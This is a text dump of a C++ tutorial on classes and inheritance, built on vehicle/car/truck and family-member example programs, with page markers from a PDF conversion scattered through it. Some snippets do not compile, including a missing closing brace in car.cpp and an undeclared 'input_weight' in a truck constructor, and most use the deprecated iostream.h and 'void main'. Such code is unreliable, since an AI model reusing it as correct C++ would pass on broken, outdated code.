#include <cstdlib>
using namespace std;

...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
=========================================================================

//class declaration part, vehicle.h, header file


//save and include this file in your project
//do not compile or run

#ifndef VEHICLE_H //preprocessor directive


#define VEHICLE_H

//----class declaration part – the interface-----


class Cvehicle
{
protected: //new keyword
int wheels;
int weight;
public:

file:///C|/Tutorial.txt (208 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

void initialize(int input_wheels, float input_weight);


int get_wheels(void);
float get_weight(void);
float wheel_load (void);
};
#endif

-------------------------------------------------------------------------------------------

//Program vehicle.cpp, implementation part,


//compile without error, generating object file, do not run
#include "vehicle.h"

//-----class implementation part------


//initialize to data input by user
void Cvehicle::initialize(int input_wheels, float input_weight)
{
wheels = input_wheels;
weight = input_weight;
}

//get the number of wheels of this vehicle


int Cvehicle::get_wheels()
{
return wheels;
}

//return the weight of this vehicle


float Cvehicle::get_weight()
{
return weight;
}

//return the load on each wheel


float Cvehicle::wheel_load()
{
return (weight/wheels);
}

-----------------------------------------------------------------------------------------------

//program transprt.cpp, the main program,


//compile and run...
//For VC++/VC++ .Net change the header files accordingly...
//#include <iostream>
//#include <cstdlib>
//using namespace std;

#include <iostream.h>
#include <stdlib.h>
#include "vehicle.h"
//user define header file and put it in the same folder as this program

void main()
{
Cvehicle car, motorcycle, truck, sedan_car;

file:///C|/Tutorial.txt (209 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//4 objects instantiated

//data initialization
car.initialize(4,3000.0);
truck.initialize(20,30000.0);
motorcycle.initialize(2,900.0);
sedan_car.initialize(4,3000.0);

//Display the data


cout<<"The car has "<<car.get_wheels()<< " tires.\n";
cout<<"Truck has load "<<truck.wheel_load()<<" kg per tire.\n";
cout<<"Motorcycle weight is "<<motorcycle.get_weight()<<" kg.\n";
cout<<"Weight of sedan car is "<<sedan_car.get_weight()<<" kg, and has "<<sedan_car.get_wheels()<<" tires.\n";

system("pause");
}

--------------------------------------------------------------------------------------------------

//another class declaration car.h


//save and include this file in your project
//do not compile or run.

#ifndef CAR_H
#define CAR_H

#include "vehicle.h"

//-----derived class declaration part-----


//Ccar class derived from Cvehicle class
class Ccar : public Cvehicle
{
int passenger_load;
public:
//This method will be used instead of the same
//method in Cvehicle class - overriding
void initialize(int input_wheels, float input_weight, int people = 4);
int passengers(void);
};

#endif

------------------------------------------------------------------------------------------------

//Implementation file car.cpp for derived Ccar class


//compile without error and include in your project,
//Do not run

#include "car.h"

//-------implementation part of the derived class car.h----------


void Ccar::initialize(int input_wheels, float input_weight, int people)
{
passenger_load = people;
wheels = input_wheels;
weight = input_weight;

file:///C|/Tutorial.txt (210 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

int Ccar::passengers(void)
{
return passenger_load;
}

--------------------------------------------------------------------------------------------------

//Another class declaration, truck.h,


//Save this file in your project
//Do not compile or run

#ifndef TRUCK_H
#define TRUCK_H

#include "vehicle.h"

//------class declaration part of derived class truck------


class Ctruck : public Cvehicle
{
int passenger_load;
float payload;
public:
void init_truck(int how_many = 2, float max_load = 24000.0);
float efficiency(void);
int passengers(void);
};
#endif

-----------------------------------------------------------------------------------------------------

//Derive class truck.cpp implementation


//Compile and include in your project
//Do not run

#include "truck.h"

//----implementation part of the Ctruck derived class------


void Ctruck::init_truck(int how_many, float max_load)
{
passenger_load = how_many;
payload = max_load;
}

float Ctruck::efficiency(void)
{
return payload/(payload + weight);
}

int Ctruck::passengers(void)
{
return passenger_load;
}

--------------------------------------------------------------------------------------------------------

file:///C|/Tutorial.txt (211 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//The new main program for inheritance, allvehicle.cpp


//Compile and run this program

#include <iostream.h>
#include <stdlib.h>
#include "vehicle.h" //the interface of the Cvehicle class
#include "car.h" //the interface of the Ccar class
#include "truck.h" //the interface of the Ctruck class

void main()
{
Cvehicle unicycle; //base class

cout<<"Unicycle using the Cvehicle base class\n";


cout<<"--------------------------------------\n";

unicycle.initialize(1,12.5);

cout<<"Unicycle has "<<unicycle.get_wheels()<<" tire.\n";


cout<<"Unicycle wheel load is "<<unicycle.wheel_load()<<"kg on one tire.\n";
cout<<"Unicycle weight is "<<unicycle.get_weight()<<" kg.\n\n";

Ccar sedan; //derived class

cout<<"Sedan car using the Ccar derived class\n";


cout<<"--------------------------------------\n";

sedan.initialize(4,3500.0,5);

cout<<"Sedan car carries "<<sedan.passengers()<<" passengers.\n";


cout<<"Sedan car weight is "<<sedan.get_weight()<<" kg.\n";
cout<<"Sedan car wheel load is "<<sedan.wheel_load()<<"kg per tire.\n\n";

Ctruck trailer; //derived class

cout<<"Trailer using the Ctruck derived class\n";


cout<<"--------------------------------------\n";

trailer.initialize(18,12500.0);
trailer.init_truck(1,33675.0);

cout<<"Trailer weight is "<<trailer.get_weight()<<" kg.\n";


cout<<"Trailer efficiency is "<<100.00 * trailer.efficiency()<<"%.\n";

system("pause");
}

-----------------------------------------------------------------------------------------------------

//inheritance
#include <iostream.h>
#include <stdlib.h>

//base class
class Base

file:///C|/Tutorial.txt (212 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

{
//member variables and member
//functions...
public:
Base(){}
~Base(){}
protected:
private:
};

//derived class...
class Derived:public Base
{
//same as normal class actually...
//member variables and member function...
public:
Derived(){}
~Derived(){}
private:
protected:
};

void main()
{
cout<<"Testing the program skeleton..."<<endl;

system("pause");
}

----------------------------------------------------------------------------------------------------

//inheritance
#include <iostream.h>
#include <stdlib.h>

//---class declaration and implementation------


//base class...
class MyFather
{
//member variables and member
//functions...
private:
char* EyeColor;
char* HairType;
double FamSaving;

protected:

public:
MyFather(){}
~MyFather(){}
char* GetEye()
{ return EyeColor = "Brown";}
char* GetHair()
{ return HairType = "Straight";}
double GetSaving()

file:///C|/Tutorial.txt (213 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

{return FamSaving = 30000;}


};

//derived class...
class MySelf:public MyFather
{
//same as normal class actually...
private:
char* MyEye;
char* MyHair;

public:
MySelf(){}
~MySelf(){}
char* GetMyEye()
{ return MyEye = "Blue";}
char* GetMyHair()
{return MyHair = "Curly";}
protected:
};

//another derived class...


class MySister:public MyFather
{
private:
char* SisEye;
char* SisHair;

public:
MySister(){}
~MySister(){}
char* GetSisEye()
{return SisEye = "Black";}
char* GetSisHair()
{ return SisHair = "Blonde";}
};

//-------main program--------
int main()
{
//base class object...
MyFather Test1;

cout<<"Testing the inheritance program...\n"<<endl;


cout<<"My father's eye is = "<<Test1.GetEye()<<endl;
cout<<"My father's hair is = "<<Test1.GetHair()<<endl;

//derived class object...


MySelf Test2;
cout<<"\nMy eye is = "<<Test2.GetMyEye()<<endl;
cout<<"My hair is = "<<Test2.GetMyHair()<<endl;
//the following are inherited from MyFather class...
cout<<"Our family saving is = $"<<Test2.GetSaving()<<endl;
cout<<"My father's eye is = "<<Test2.GetEye()<<endl;
cout<<"My father's hair is = "<<Test2.GetHair()<<endl;

file:///C|/Tutorial.txt (214 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//another derived class object...


MySister Test3;
cout<<"\nMy sister's eye is = "<<Test3.GetSisEye()<<endl;
cout<<"My sister's hair is = "<<Test3.GetSisHair()<<endl;
//the following are inherited from MyFather class...
cout<<"Our family saving is = $"<<Test3.GetSaving()<<endl;
cout<<"My father's eye is = "<<Test3.GetEye()<<endl;
cout<<"My father's hair is = "<<Test3.GetHair()<<"\n\n";
system("pause");
return 0;
}

---------------------------------------------VC++/VC++ .Net------------------------------------------------------

//inheritance
#include <iostream>
using namespace std;

//---class declaration and implementation------


//base class...
class MyFather
{
//member variables and member
//functions...
private:
char* EyeColor;
char* HairType;
double FamSaving;

protected:
//protected members here…

public:
MyFather(){}
~MyFather(){}
char* GetEye()
{ return EyeColor = "Brown";}
char* GetHair()
{ return HairType = "Straight";}
double GetSaving()
{return FamSaving = 30000;}
};

//derived class...
class MySelf:public MyFather
{
//same as normal class actually...
private:
char* MyEye;
char* MyHair;

public:
MySelf(){}
~MySelf(){}
char* GetMyEye()
{ return MyEye = "Blue";}

file:///C|/Tutorial.txt (215 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

char* GetMyHair()
{return MyHair = "Curly";}
protected:
};

//another derived class...


class MySister:public MyFather
{
private:
char* SisEye;
char* SisHair;

public:
MySister(){}
~MySister(){}
char* GetSisEye()
{return SisEye = "Black";}
char* GetSisHair()
{ return SisHair = "Blonde";}
};

//------main program--------
int main()
{
//base class object...
MyFather Test1;

cout<<"Testing the inheritance program...\n"<<endl;


cout<<"My father's eye is = "<<Test1.GetEye()<<endl;
cout<<"My father's hair is = "<<Test1.GetHair()<<endl;

//derived class object...


MySelf Test2;

cout<<"\nMy eye is = "<<Test2.GetMyEye()<<endl;


cout<<"My hair is = "<<Test2.GetMyHair()<<endl;
//the following are inherited from MyFather class...
cout<<"Our family saving is = $"<<Test2.GetSaving()<<endl;
cout<<"My father's eye is = "<<Test2.GetEye()<<endl;
cout<<"My father's hair is = "<<Test2.GetHair()<<endl;

//another derived class object...


MySister Test3;

cout<<"\nMy sister's eye is = "<<Test3.GetSisEye()<<endl;


cout<<"My sister's hair is = "<<Test3.GetSisHair()<<endl;
//the following are inherited from MyFather class...
cout<<"Our family saving is = $"<<Test3.GetSaving()<<endl;
cout<<"My father's eye is = "<<Test3.GetEye()<<endl;
cout<<"My father's hair is = "<<Test3.GetHair()<<"\n\n";
return 0;
}

----------------------------------------------G++ on Linux/Fedora------------------------------------------------

//**************herit2.cpp**************

file:///C|/Tutorial.txt (216 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//**************FEDORA 3, g++ x.x.x****


//inheritance
#include <iostream>
using namespace std;

//---class declaration and implementation------


//base class...
class MyFather
{
//member variables and member
//functions...
private:
char* EyeColor;
char* HairType;
double FamSaving;

protected:

public:
MyFather(){}
~MyFather(){}
char* GetEye()
{return EyeColor = "Brown";}
char* GetHair()
{return HairType = "Straight";}
double GetSaving()
{return FamSaving = 30000;}
};

//derived class...
class MySelf:public MyFather
{
//same as normal class actually...
private:
char* MyEye;
char* MyHair;

public:
MySelf(){}
~MySelf(){}
char* GetMyEye()
{return MyEye = "Blue";}
char* GetMyHair()
{return MyHair = "Curly";}
protected:
//...
};

//another derived class...


class MySister:public MyFather
{
private:
char* SisEye;
char* SisHair;

public:

file:///C|/Tutorial.txt (217 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

MySister(){}
~MySister(){}
char* GetSisEye()
{return SisEye = "Black";}
char* GetSisHair()
{return SisHair = "Blonde";}
};

//----main program--------
int main()
{
//base classes object...
MyFather Test1;

cout<<"Testing the inheritance program...\n"<<endl;


cout<<"My father's eye is = "<<Test1.GetEye()<<endl;
cout<<"My father's hair is = "<<Test1.GetHair()<<endl;

//derived class object...


MySelf Test2;

cout<<"\nMy eye is = "<<Test2.GetMyEye()<<endl;


cout<<"My hair is = "<<Test2.GetMyHair()<<endl;
//the following are inherited from MyFather class...
cout<<"Our family saving is = $"<<Test2.GetSaving()<<endl;
cout<<"My father's eye is = "<<Test2.GetEye()<<endl;
cout<<"My father's hair is = "<<Test2.GetHair()<<endl;

//another derived class object...


MySister Test3;

cout<<"\nMy sister's eye is = "<<Test3.GetSisEye()<<endl;


cout<<"My sister's hair is = "<<Test3.GetSisHair()<<endl;
//the following are inherited from MyFather class...
cout<<"Our family saving is = $"<<Test3.GetSaving()<<endl;
cout<<"My father's eye is = "<<Test3.GetEye()<<endl;
cout<<"My father's hair is = "<<Test3.GetHair()<<"\n\n";

return 0;
}

============================MODULE15=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |

file:///C|/Tutorial.txt (218 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
VC++/VC++ .Net and gcc or g++ are given at the end of every Module.
For example if you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:

-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>

...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;

...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
=========================================================================

//Program inherit1.cpp. For VC++/VC++ .Net change the


//change the header files accordingly...
//#include <iostream>
//#include <cstdlib>
//using namespace std;

#include <iostream.h>
#include <stdlib.h>

//---class declaration part---


class vehicle
{
//This variable will be automatically
//inherited by all the derived class but not outside the
//base and derived class of vehicle
protected:
int wheels;

file:///C|/Tutorial.txt (219 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

double weight;
public:
void initialize(int input_wheels, double input_weight);
int get_wheels(void) {return wheels;}
double get_weight(void) {return weight;}
double wheel_load(void) {return (weight/wheels);}
};

//---derived class declaration part---


class car : public vehicle
{
int passenger_load;
public:
void initialize(int input_wheels, double input_weight, int people = 4);
int passengers(void)
{
return passenger_load;
}
};

class truck : public vehicle


{
int passenger_load;
double payload;
public:
void init_truck(int how_many = 4, double max_load = 24000.0);
double efficiency(void);
int passengers(void) {return passenger_load;}
};

//----The main program------


int main()
{
vehicle unicycle;
unicycle.initialize(1, 12.5);

cout<<"Using base class, vehicle\n";


cout<<"-------------------------\n";
cout<<"The unicycle has " <<unicycle.get_wheels()<<" wheel.\n";
cout<<"The unicycle's wheel loading is "<<unicycle.wheel_load()<<" kg on the single tire.\n";
cout<<"The unicycle weighs "<<unicycle.get_weight()<<" kg.\n\n";

car sedan_car;
sedan_car.initialize(4, 3500.0, 5);

cout<<"Using derived class, car\n";


cout<<"------------------------\n";
cout<<"The sedan car carries "<<sedan_car.passengers()<<" passengers.\n";
cout<<"The sedan car weighs "<<sedan_car.get_weight()<<" kg.\n";
cout<<"The sedan's car wheel loading is "<<sedan_car.wheel_load()<<" kg per tire.\n\n";

truck trailer;
trailer.initialize(18, 12500.0);
trailer.init_truck(1, 33675.0);

cout<<"Using derived class, truck\n";

file:///C|/Tutorial.txt (220 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

cout<<"--------------------------\n";
cout<<"The trailer weighs "<< trailer.get_weight()<< " kg.\n";
cout<<"The trailer's efficiency is "<<100.0 * trailer.efficiency()<<" %.\n";

system("pause");
return 0;
}

//-----base and derived class implementation part----


//initialize to any data desired, own by base class
void vehicle::initialize(int input_wheels, double input_weight)
{
wheels = input_wheels;
weight = input_weight;
}

//initialize() method own by derived car class


void car::initialize(int input_wheels, double input_weight, int people)
{
//class base variables used by derived car class,
//because of the protected keyword
passenger_load = people;
wheels = input_wheels;
weight = input_weight;
}

void truck::init_truck(int how_many, double max_load)


{
passenger_load = how_many;
payload = max_load;
}

double truck::efficiency(void)
{
return payload / (payload + weight);
}

---------------------------------------------------------------------------------------------------

//program inherit2.cpp
#include <iostream.h>
#include <stdlib.h>

//-----base and derived class declaration part----


class vehicle
{
//protected:
//Note this is removed, so it is private now
int wheels;
double weight;
public: //public specifier
void initialize(int input_wheels, double input_weight);
int get_wheels(void) {return wheels;}
double get_weight(void) {return weight;}
double wheel_load(void) {return (weight/wheels);}
};

file:///C|/Tutorial.txt (221 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

class car : public vehicle


{
int passenger_load;
public:
void initialize(int input_wheels, double input_weight, int people = 4);
int passengers(void) {return passenger_load;}
};

class truck : public vehicle


{
int passenger_load;
double payload;
public:
void init_truck(int how_many = 4, double max_load = 24000.0);
double efficiency(void);
int passengers(void) {return passenger_load;}
};

//------main program-------
int main()
{
vehicle unicycle;
unicycle.initialize(1, 12.5);

cout<<"Using base class, vehicle\n";


cout<<"-------------------------\n";
cout<<"The unicycle has "<<unicycle.get_wheels()<<" wheel.\n";
cout<<"The unicycle's wheel load is "<<unicycle.wheel_load()<<" kg on the single tire.\n";
cout<<"The unicycle weighs "<<unicycle.get_weight()<<" kg.\n\n";

car sedan_car;
sedan_car.initialize(4, 3500.0, 5);

cout<<"Using derived class, car\n";


cout<<"------------------------\n";
cout<<"The sedan car carries "<<sedan_car.passengers()<<" passengers.\n";
cout<<"The sedan car weighs "<<sedan_car.get_weight()<< " kg.\n";
cout<<"The sedan car's wheel loading is "<<sedan_car.wheel_load()<<" kg per tire.\n\n";

truck trailer;
trailer.initialize(18, 12500.0);
trailer.init_truck(1, 33675.0);

cout<<"Using derived class, truck\n";


cout<<"--------------------------\n";
cout<<"The trailer weighs "<<trailer.get_weight()<<" kg.\n";
cout<<"The trailer's efficiency is "<<100.0 * trailer.efficiency()<<" %.\n";

system("pause");
return 0;
}

//-------base and derived class implementation part----


// initialize to any data desired, this method own by base class
void vehicle::initialize(int input_wheels, double input_weight)

file:///C|/Tutorial.txt (222 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

{
wheels = input_wheels;
weight = input_weight;
}

//This method own by derived class


void car::initialize(int input_wheels, double input_weight, int people)
{
passenger_load = people;

//This variable are invalid anymore because both wheels


//and weight are private now.
//wheels = input_wheels;
//weight = input_weight;
vehicle::initialize(input_wheels, input_weight);
//Added statement, using base class method instead of derived class
}

void truck::init_truck(int how_many, double max_load)


{
passenger_load = how_many;
payload = max_load;
}

double truck::efficiency(void)
{
//Changed from program inherit1.cpp, from weight to get_weight()
return payload / (payload + get_weight());
}

-----------------------------------------------------------------------------------------------------

//Program inherit3.cpp
#include <iostream.h>
#include <stdlib.h>

//------base and derived class declaration part-----


class vehicle
{
protected:
int wheels;
double weight;
public:
void initialize(int input_wheels, double input_weight);
int get_wheels(void) {return wheels;}
double get_weight(void) {return weight;}
double wheel_load(void) {return (weight/wheels);}
};

//public keyword changed to private - private inheritance


class car : private vehicle
{
int passenger_load;
public:
void initialize(int input_wheels, double input_weight, int people = 4);
int passengers(void) {return passenger_load;}

file:///C|/Tutorial.txt (223 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

};

//public keyword change to private - private inheritance


class truck : private vehicle
{
int passenger_load;
double payload;
public:
void init_truck(int how_many = 4, double max_load = 24000.0);
double efficiency(void);
int passengers(void) {return passenger_load;}
};

//------main program------
int main()
{
vehicle unicycle;
unicycle.initialize(1, 12.5);

cout<<"Using base class, vehicle with public methods\n";


cout<<"---------------------------------------------\n";
cout<<"The unicycle has "<<unicycle.get_wheels()<<" wheel.\n";
cout<<"The unicycle's wheel load is "<<unicycle.wheel_load()<<" kg on the single tire.\n";
cout<<"The unicycle weighs "<<unicycle.get_weight()<<" kg.\n\n";

car sedan_car;
sedan_car.initialize(4, 3500.0, 5);

cout<<"\nThese two are public-->sedan_car.initialize(4,3500.0,5)\n";


cout<<"and sedan_car.passengers()\n";
cout<<"-------------------------------------------------------\n";
cout<<"The sedan car carries "<<sedan_car.passengers()<<" passengers.\n";
//methods get_weight() and wheel_load() not available
//because we use private inheritance
//cout<<"The sedan car weighs "<<sedan_car.get_weight()<<" kg.\n";
//cout<<"The sedan car's wheel loading is "<<sedan_car.wheel_load()<<" kg per tire.\n\n";

truck trailer;
//trailer.initialize(18, 12500.0);
//this method is private now
trailer.init_truck(1, 33675.0);

cout<<"\nThese are public-->trailer.init_truck(1, 33675.0),\n";


cout<<"trailer.efficiency() and trailer.passengers()\n";
cout<<"--------------------------------------------------\n";
cout<<"\nOthers are private...\n";
//methods get_weight() and efficiency() not available
//because we use private inheritance
//cout<<"The trailer weighs "<<trailer.get_weight()<<" kg.\n";
//cout<<"The trailer's efficiency is "<<100.0 * trailer.efficiency()<<" %.\n";

system("pause");
return 0;
}

//----class implementation part-----

file:///C|/Tutorial.txt (224 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

// initialize to any data desired, method own by base class


void vehicle::initialize(int input_wheels, double input_weight)
{
wheels = input_wheels;
weight = input_weight;
}

//method own by derived class


void car::initialize(int input_wheels, double input_weight, int people)
{ //wheels and weight still available because of the protected keyword
passenger_load = people;
wheels = input_wheels;
weight = input_weight;
}

void truck::init_truck(int how_many, double max_load)


{
passenger_load = how_many;
payload = max_load;
}

double truck::efficiency(void)
{
return (payload / (payload + weight));
}

-----------------------------------------------------------------------------------------------

//Program inherit3.cpp
#include <iostream.h>
#include <stdlib.h>

//----base and derived class declaration part-----


class vehicle
{
protected:
int wheels;
double weight;
public:
void initialize(int input_wheels, double input_weight);
int get_wheels(void) {return wheels;}
double get_weight(void) {return weight;}
double wheel_load(void) {return (weight/wheels);}
};

//public keyword changed to private - private inheritance


class car : private vehicle
{
int passenger_load;
public:
void initialize(int input_wheels, double input_weight, int people = 4);
int passengers(void) {return passenger_load;}
};

//public keyword change to private - private inheritance


class truck : private vehicle

file:///C|/Tutorial.txt (225 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

{
int passenger_load;
double payload;
public:
void init_truck(int how_many = 4, double max_load = 24000.0);
double efficiency(void);
int passengers(void) {return passenger_load;}
};

//-----main program------
int main()
{
vehicle unicycle;
unicycle.initialize(1, 12.5);

cout<<"Using base class, vehicle with public methods\n";


cout<<"---------------------------------------------\n";
cout<<"The unicycle has "<<unicycle.get_wheels()<<" wheel.\n";
cout<<"The unicycle's wheel load is "<<unicycle.wheel_load()<<" kg on the single tire.\n";
cout<<"The unicycle weighs "<<unicycle.get_weight()<<" kg.\n\n";

car sedan_car;
sedan_car.initialize(4, 3500.0, 5);

cout<<"\nThese two are public-->sedan_car.initialize(4,3500.0,5)\n";


cout<<"and sedan_car.passengers()\n";
cout<<"-------------------------------------------------------\n";
cout<<"The sedan car carries "<<sedan_car.passengers()<<" passengers.\n";
//methods get_weight() and wheel_load() not available
//because we use private inheritance
//cout<<"The sedan car weighs "<<sedan_car.get_weight()<<" kg.\n";
//cout<<"The sedan car's wheel loading is "<<sedan_car.wheel_load()<<" kg per tire.\n\n";

truck trailer;
//trailer.initialize(18, 12500.0);
//this method is private now
trailer.init_truck(1, 33675.0);

cout<<"\nThese are public-->trailer.init_truck(1, 33675.0),\n";


cout<<"trailer.efficiency() and trailer.passengers()\n";
cout<<"--------------------------------------------------\n";
cout<<"\nOthers are private...\n";
//methods get_weight() and efficiency() not available
//because we use private inheritance
//cout<<"The trailer weighs "<<trailer.get_weight()<<" kg.\n";
//cout<<"The trailer's efficiency is "<<100.0 * trailer.efficiency()<<" %.\n";

system("pause");
return 0;
}

//----class implementation part----


// initialize to any data desired, method own by base class
void vehicle::initialize(int input_wheels, double input_weight)
{
wheels = input_wheels;

file:///C|/Tutorial.txt (226 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

weight = input_weight;
}

//method own by derived class


void car::initialize(int input_wheels, double input_weight, int people)
{ //wheels and weight still available because of the protected keyword
passenger_load = people;
wheels = input_wheels;
weight = input_weight;
}

void truck::init_truck(int how_many, double max_load)


{
passenger_load = how_many;
payload = max_load;
}

double truck::efficiency(void)
{
return (payload / (payload + weight));
}

-------------------------------------------------------------------------------------------

//Program inherit4.cpp
#include <iostream.h>
#include <stdlib.h>

//-----base and derived class declaration part-----


class vehicle
{
protected:
int wheels;
double weight;
public:
vehicle(void)
{
wheels = 7; weight = 11111.0;
cout<<"Constructor's value of the base class, vehicle"<<'\n';
cout<<"----------------------------------------------\n";
}
void initialize(int input_wheels, double input_weight);
int get_wheels(void) {return wheels;}
double get_weight(void) {return weight;}
double wheel_load(void) {return (weight/wheels);}
};

//public inheritance
class car : public vehicle //public inheritance
{
int passenger_load;
public:
car(void)
{
passenger_load = 4;
cout<<"Constructor's value of the derived class, car"<<'\n';

file:///C|/Tutorial.txt (227 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

cout<<"---------------------------------------------\n";
}
void initialize(int input_wheels, double input_weight, int people = 4);
int passengers(void) {return passenger_load;}
};

class truck : public vehicle //public inheritance


{
int passenger_load;
double payload;
public:
truck(void)
{
passenger_load = 3;payload = 22222.0;
cout<<"Constructor's value of the derived class, truck"<<'\n';
cout<<"-----------------------------------------------\n";
}
void init_truck(int how_many = 4, double max_load = 24000.0);
double efficiency(void);
int passengers(void) {return passenger_load;}
};

//-------main program-------
int main()
{
vehicle unicycle;

//unicycle.initialize(1, 12.5);
//use default constructor value, so no need the
//initialization code for object unicycle anymore.
cout<<"The unicycle has "<<unicycle.get_wheels()<<" wheel.\n";
cout<<"The unicycle's wheel loading is "<<unicycle.wheel_load()<<" kg on the single tire.\n";
cout<<"The unicycle weighs "<<unicycle.get_weight()<<" kg.\n\n";

car sedan_car;
// use base class initialize() method
// sedan_car.initialize(4, 3500.0, 5);
cout<<"The sedan car carries "<<sedan_car.passengers()<<" passengers.\n";
cout<<"The sedan car weighs "<<sedan_car.get_weight()<<" kg.\n";
cout<<"The sedan car's wheel loading is "<<sedan_car.wheel_load()<<" kg per tire.\n\n";

truck trailer;
//use base class initialize() method with default data
//trailer.initialize(18, 12500.0);
//trailer.init_truck(1, 33675.0);
cout<<"The trailer weighs "<<trailer.get_weight()<<" kg.\n";
cout<<"The trailer's efficiency is "<<100.0 * trailer.efficiency()<<" %.\n";

system("pause");
return 0;
}

//------class implementation part----


// initialize to any data desired
void vehicle::initialize(int input_wheels, double input_weight)
//base class method

file:///C|/Tutorial.txt (228 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

{
wheels = input_wheels;
weight = input_weight;
}

void car::initialize(int input_wheels, double input_weight, int people)


//derived class method
{
passenger_load = people;
wheels = input_wheels;
weight = input_weight;
}

void truck::init_truck(int how_many, double max_load)


{
passenger_load = how_many;
payload = max_load;
}

double truck::efficiency(void)
{
return (payload / (payload + weight));
}

-----------------------------------------------------------------------------------------------------------

//Program inherit5.cpp
#include <iostream.h>
#include <stdlib.h>

//-----base and derived class declaration part----


class vehicle
{
protected:
int wheels;
double weight;
public:
vehicle(void)
{
wheels = 7; weight = 11111.0;
cout<<"It is me!, Constructor #1, own by base class"<<'\n';
}

vehicle(int input_wheels, double input_weight)


{
wheels = input_wheels; weight = input_weight;
cout<<"It is me!, Constructor #2, own by base class"<<'\n';
}

void initialize(int input_wheels, double input_weight);


int get_wheels(void) {return wheels;}
double get_weight(void) {return weight;}
double wheel_load(void) {return (weight/wheels);}
};

class car : public vehicle

file:///C|/Tutorial.txt (229 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

{
int passenger_load;
public:
car(void)
{
passenger_load = 4; cout<<"It is me!, Constructor #3, derived class, car"<<'\n';
}

car(int people, int input_wheels, double input_weight):vehicle(input_wheels, input_weight), passenger_load(people)


{
cout<<"It is me!, Constructor #4, derived class, car"<<'\n';
}

void initialize(int input_wheels, double input_weight, int people = 4);


int passengers(void) {return passenger_load;}
};

class truck : public vehicle


{
int passenger_load;
double payload;
public:
truck(void)
{
passenger_load = 3;
payload = 22222.0;
}
//the following code should be in one line....
truck(int people, double load, int input_wheels, double weight):vehicle(input_wheels,input_weight),passenger_load(people), payload
(load)
{

cout<<"It is me!, Constructor #5, derived class, car"<<'\n';


}
void init_truck(int how_many = 4, double max_load = 24000.0);
double efficiency(void);
int passengers(void) {return passenger_load;}
};

//-----main program------
int main()
{
vehicle unicycle(1, 12.5);

// unicycle.initialize(1, 12.5);
cout<<"The unicycle has "<<unicycle.get_wheels()<<" wheel.\n";
cout<<"The unicycle's wheel load is "<<unicycle.wheel_load()<<
" kg on the single tire.\n";
cout<<"The unicycle weighs "<<unicycle.get_weight()<<" kg.\n\n";

//Constructor in the car class called to construct an object,


//after base class constructor called
car sedan_car(5, 4, 3500.0);

//constructor in the car class called to construct object


//sedan_car.initialize(4, 3500.0, 5);

file:///C|/Tutorial.txt (230 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

cout<<"The sedan car carries "<<sedan_car.passengers()<<" passengers.\n";


cout<<"The sedan car weighs "<<sedan_car.get_weight()<<" kg.\n";
cout<<"The sedan car's wheel load is "<<sedan_car.wheel_load()<<" kg per tire.\n\n";

//Constructor in the base class called to construct an object


truck trailer(1, 33675.0, 18, 12500.0);

//trailer.initialize(18, 12500.0);
//trailer.init_truck(1, 33675.0);
cout<<"The trailer weighs "<<trailer.get_weight()<<" kg.\n";
cout<<"The trailer's efficiency is "<<100.0 * trailer.efficiency()<<" %.\n";

system("pause");
return 0;
}

//----base and derived class implementation part------


// initialize to any data desired
void vehicle::initialize(int input_wheels, double input_weight)
{
wheels = input_wheels;
weight = input_weight;
}

void car::initialize(int input_wheels, double input_weight, int people)


{
passenger_load = people;
wheels = input_wheels;
weight = input_weight;
}

void truck::init_truck(int how_many, double max_load)


{
passenger_load = how_many;
payload = max_load;
}

double truck::efficiency(void)
{
return (payload / (payload + weight));
}

------------------------------------------------------------------------------------------------------------

//Program inherit6.cpp
#include <iostream.h>

